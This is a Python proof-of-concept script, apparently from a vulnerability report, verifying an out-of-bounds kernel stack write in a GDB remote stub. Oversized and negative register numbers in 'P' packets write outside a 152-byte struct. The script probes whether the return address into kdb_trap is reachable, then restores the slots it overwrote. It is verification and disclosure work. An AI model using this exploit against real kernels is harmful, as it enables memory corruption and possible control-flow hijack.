DF-2361 / poc2361.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 | #!/usr/bin/env python3 -u # poc2361.py -- DF-2361 verification: P packet out-of-bounds stack write via # NUM_REGS/struct mismatch (19 slots / 152 bytes) and missing regno lower bound. # # Verified against the REAL stub in the stock kernel: # S0 'g' reply = 304 hex chars => sizeof(struct x86_64regs) = 152 = 19 slots # while NUM_REGS=22 gates `regno < 22` only (gdbstub.c:569,442). # S1 locate ®isters (A) on the stopped stack via the T05 rip/rbp/rsp # triple at struct offsets 128/48/56. # S2 P18 (offset 144) in-bounds control write. # S3 P19/P20/P21 -> attacker bytes at A+152/A+160/A+168, i.e. 0..24 bytes # PAST the 152-byte object; the struct itself untouched. # S4 P with regno = -1 (hex "ffffffff": hexToInt yields -1, passes # `regno < NUM_REGS`) -> attacker bytes at A-8. # S5 P with large negative regno (write at A-0x100, outside the frame # entirely -- same kernel stack page, unused area). # S6 frame autopsy: which slots 19/20/21 overlap (locals/saved regs), # where the return address into kdb_trap (0xffffffff80bcc8da) sits. # Everything repaired before detach; guest keeps running. import sys, os, time, json sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from rig236 import Rig, ADDRS, hx import rsp as rspmod RET = ADDRS["kdb_call_ret"] # expected return address into kdb_trap def le(hexstr): """T05 fields are mem2hex of the register bytes -> little-endian.""" return int.from_bytes(bytes.fromhex(hexstr), "little") R = {} rig = Rig("poc2361", "/tmp/opencode/df2361-raw.log") p = rig.p try: if False: pass t05 = rig.enter_stub() rsp = le(t05["07"]) rip = le(t05["10"]) rbp = le(t05["06"]) r = p.pkt("?"); print("[+] '?' -> %r" % r) # S0: struct size proof g = p.pkt("g") R["g_len"] = len(g) R["sizeof_registers"] = len(g) // 2 print("[S0] 'g' len=%d => sizeof(registers)=%d bytes = %d slots; NUM_REGS=22" % (len(g), len(g) // 2, len(g) // 16)) # S1: locate A base = (rsp - 0x800) & ~7 blob = p.read_mem(base, 0x880) A = None for off in range(0, len(blob) - 152, 8): if int.from_bytes(blob[off + 128:off + 136], "little") == rip and \ int.from_bytes(blob[off + 56:off + 64], "little") == rsp and \ int.from_bytes(blob[off + 48:off + 56], "little") == rbp: A = base + off break if A is None: print("[!] registers not located"); rig.detach(); sys.exit(2) R["registers_va"] = hex(A) R["rsp"] = hex(rsp) print("[S1] ®isters = 0x%x (tf_rsp=0x%x, A-rsp=%d)" % (A, rsp, A - rsp)) win_lo, win_hi = A - 0x40, A + 0x120 before = p.read_mem(win_lo, win_hi - win_lo) def dump(tag, data): print("[%s] stack window 0x%x..0x%x:" % (tag, win_lo, win_hi)) for i in range(0, len(data), 32): print(" 0x%x (+%4d): %s" % (win_lo + i, win_lo + i - A, data[i:i + 32].hex())) dump("before", before) def slot(addr, n=8): return p.read_mem(addr, n) def pwrite(regno_hex, datahex): return p.pkt("P%s=%s" % (regno_hex, datahex)) # S2: in-bounds control (regno 18 dec = "12" hex -> cs/ss slot at +144) r = pwrite("12", "0011223344556677") b = slot(A + 144) R["P12_inbounds"] = (r == "OK" and b == bytes.fromhex("0011223344556677")) print("[S2] P12 (regno 18 dec, +144, in-bounds): reply=%r bytes=%s -> %s" % (r, b.hex(), R["P12_inbounds"])) # sanity: regno 0x19 (25 dec, past NUM_REGS upper bound) must be rejected r = pwrite("19", "cafebabe") R["P25_rejected"] = (r == "P01") print("[S2] P19-hex (regno 25 dec >= 22): reply=%r (rejected: %s)" % (r, R["P25_rejected"])) # S3: OOB above the struct (baseline re-taken after the in-bounds write) struct_base = p.read_mem(A, 152) for regno, off, marker in ((19, 152, "a1a2a3a4a5a6a7a8"), (20, 160, "b1b2b3b4b5b6b7b8"), (21, 168, "c1c2c3c4c5c6c7c8")): r = pwrite("%x" % regno, marker) b = slot(A + off) struct_ok = p.read_mem(A, 152) == struct_base R["P%d_oob" % regno] = (r == "OK" and b == bytes.fromhex(marker) and struct_ok) print("[S3] P%d (+%d, OOB past 152B struct): reply=%r bytes=%s struct_untouched=%s -> %s" % (regno, off, r, b.hex(), struct_ok, R["P%d_oob" % regno])) # S4: negative regno -- hexToInt has no sign rejection: # "ffffffff" -> regno = -1 (int); -1 < 22 passes; stub replies OK. # NOTE: A-8 is the spill slot for the handler's own `ptr` local # (holds 0xffffffff817a70d4 = &remcomInBuffer+0x14); every subsequent # packet re-assigns ptr there, so the marker write is transient by # construction. Acceptance is proven by the OK reply; the offset math # by the stable writes below. r = pwrite("ffffffff", "deadbeefbaadf00d") R["Pneg1_accepted"] = (r == "OK") print("[S4] Pffffffff (regno=-1): reply=%r -> hexToInt returned -1 and regno<22 PASSED (missing lower bound)" % r) transient = [] for regno_hex, off in (("fffffff8", -64), ("fffffff0", -128)): mk = "aa55aa55aa55aa55" if off == -64 else "5a5a5a5a5a5a5a5a" r = pwrite(regno_hex, mk) b = slot(A + off) accepted = (r == "OK") transient.append((off, accepted, b.hex())) print("[S4] P%s (regno=%d -> A%+d): reply=%r post-packet bytes=%s (accepted=%s; slot is per-packet transient)" % (regno_hex, off // 8, off, r, b.hex(), accepted)) R["Pneg_transients"] = transient # S5: far negative offset (A-0x100): stable slot, 256 bytes below the # struct, outside the spill area -- proves arbitrary negative offsets. tgt = A - 0x100 old = slot(tgt) r = pwrite("ffffffe0", "eefeeefeeefeeefe") # regno = -32 b = slot(tgt) R["Pneg32_oob"] = (r == "OK" and b == bytes.fromhex("eefeeefeeefeeefe")) print("[S5] Pffffffe0 (regno=-32 -> A-0x100, 256 bytes below struct): reply=%r bytes=%s -> %s" % (r, b.hex(), R["Pneg32_oob"])) after = p.read_mem(win_lo, win_hi - win_lo) dump("after", after) # S6: frame autopsy -- where is the return address / what did we hit? autopsy = {"retaddr_slot": None, "slots_19_21_content": None} for i in range(0, len(before) - 8, 8): v = int.from_bytes(before[0x40 + i - 0x40:0x40 + i - 0x40 + 8], "little") if False else int.from_bytes(before[i:i + 8], "little") if v == RET: off = win_lo + i - A autopsy["retaddr_slot"] = off autopsy["slots_19_21_content"] = { "+152": hex(int.from_bytes(before[0x40 + 152:0x40 + 160], "little")), "+160": hex(int.from_bytes(before[0x40 + 160:0x40 + 168], "little")), "+168": hex(int.from_bytes(before[0x40 + 168:0x40 + 176], "little")), } R["autopsy"] = autopsy print("[S6] return address into kdb_trap (0x%x) found at A%+d %s" % (RET, autopsy["retaddr_slot"] or 0, "(REACHABLE by regno 19/20/21!)" if autopsy["retaddr_slot"] in (152, 160, 168) else "(NOT within regno 19/20/21 reach)" if autopsy["retaddr_slot"] is not None else "(not found in window)")) print("[S6] original qwords above struct: %s" % autopsy["slots_19_21_content"]) # repair everything we touched reps = [ (A + 144, before[0x40 + 144:0x40 + 152]), (A + 152, before[0x40 + 152:0x40 + 160]), (A + 160, before[0x40 + 160:0x40 + 168]), (A + 168, before[0x40 + 168:0x40 + 176]), (A - 0x40, None), # handled below (stable negative offsets) (A - 0x80, None), (A - 0x100, old), ] allok = True for addr, data in reps: if data is None: continue allok &= p.write_mem(addr, data) # per-slot verify (frame contains per-packet transient spill slots, # so only the touched slots are compared) checks = [ (A + 144, before[0x40 + 144:0x40 + 152]), (A + 152, before[0x40 + 152:0x40 + 160]), (A + 160, before[0x40 + 160:0x40 + 168]), (A + 168, before[0x40 + 168:0x40 + 176]), (A - 0x100, old), ] fixed = all(p.read_mem(a, len(d)) == d for a, d in checks) R["repaired"] = bool(allok and fixed) print("[%s] repair verified (per-slot): %s" % ("+" if R["repaired"] else "-", R["repaired"])) d = rig.detach() R["detach"] = d except Exception as e: import traceback traceback.print_exc() try: rig.detach() except Exception: pass finally: rig.close() R["pass"] = bool(R.get("g_len") == 304 and R.get("P12_inbounds") and R.get("P25_rejected") and R.get("P19_oob") and R.get("P20_oob") and R.get("P21_oob") and R.get("Pneg1_accepted") and R.get("Pneg32_oob") and R.get("repaired")) print("[RESULT] " + json.dumps(R)) sys.exit(0 if R["pass"] else 1) |